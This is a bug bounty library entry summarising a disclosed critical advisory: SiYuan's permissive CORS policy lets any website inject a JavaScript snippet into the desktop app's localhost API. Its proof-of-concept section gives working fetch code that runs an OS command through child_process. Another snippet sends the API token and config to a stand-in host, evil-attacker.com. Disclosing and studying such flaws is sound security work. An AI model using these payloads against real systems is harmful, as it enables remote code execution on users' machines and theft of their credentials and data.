# SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection

SiYuan's permissive CORS with Private-Network opt-in lets any website inject a JS snippet into the localhost API, executing OS commands in Electron.

- Payout: Research
- Severity: critical
- Program: SiYuan
- Found by: sajdakabir, zerotrail-ai
- Disclosed: 2026-03-31
- CVE: CVE-2026-34449
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-68p4-j234-43mv
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-68p4-j234-43mv
- Tags: area:os domain:desktop impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:electron technique:chained technique:source-review vuln:cors vuln:misconfiguration vuln:rce

**Target:** SiYuan kernel HTTP API on 127.0.0.1:6806 (Electron desktop app)
**Root cause:** CORS middleware unconditionally returns Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true and Access-Control-Allow-Private-Network: true, so any external site can make credentialed cross-origin requests to the localhost API; the Origin check is reached only after cookie validation, which passes.
**Steps:**
1. Start SiYuan desktop (or Docker with SIYUAN_ACCESS_AUTH_CODE) and log in via browser to obtain a session cookie on 127.0.0.1.
2. Host a malicious page that fetches `http://127.0.0.1:6806/api/snippet/setSnippet` with `credentials: 'include'` and a JSON body containing a snippet of `type: 'js'` and `content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")'`.
3. Visit the page in the same browser; the preflight succeeds due to permissive CORS headers and the POST is accepted with the session cookie.
4. Optionally fetch `/api/system/getConf` to exfiltrate API token and config.
5. Open SiYuan UI; the injected snippet executes in Electron's Node.js context, running the OS command.
**How found:** Code review of kernel/server/serve.go CORS middleware and kernel/api/snippet.go, noticing the Private-Network opt-in header combined with wildcard origin and credentials, then testing preflight and snippet injection from an external origin.
**Exploitation:** Attacker lures victim to a malicious page while SiYuan runs; page issues credentialed cross-origin POSTs to the localhost API to persist a JS snippet and exfiltrate config/notes, then the snippet executes with Node.js privileges on next UI load, yielding arbitrary OS command execution and persistence across restarts.
**Escalation:** Chained CORS misconfig + Private Network Access opt-in + snippet injection to convert a browser visit into persistent RCE and full data exfiltration.
**Insight:** When auditing localhost desktop-app APIs, grep for Access-Control-Allow-Private-Network and wildcard ACAO with credentials; also check whether Origin validation happens after cookie auth, since a valid session cookie can short-circuit the Origin check.

## Proof of concept (copied exactly from the original report)

**Malicious webpage injecting JS snippet via CORS**

```
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    snippets: [{
      id: 'exploit-' + Date.now(),
      name: 'system-update',
      type: 'js',
      content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
      enabled: true
    }]
  })
}).then(r => r.json()).then(d => {
  console.log('Snippet injected:', d);
});
```

**Exfiltrate API token and config**

```
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
  // Send API token and config to attacker server
  fetch('https://evil-attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(d.data)
  });
});
```

**curl verification of injected snippet**

```
curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \
  -H "Content-Type: application/json" \
  -b <session-cookie> \
  -d '{"type":"all","enabled":2}'
```

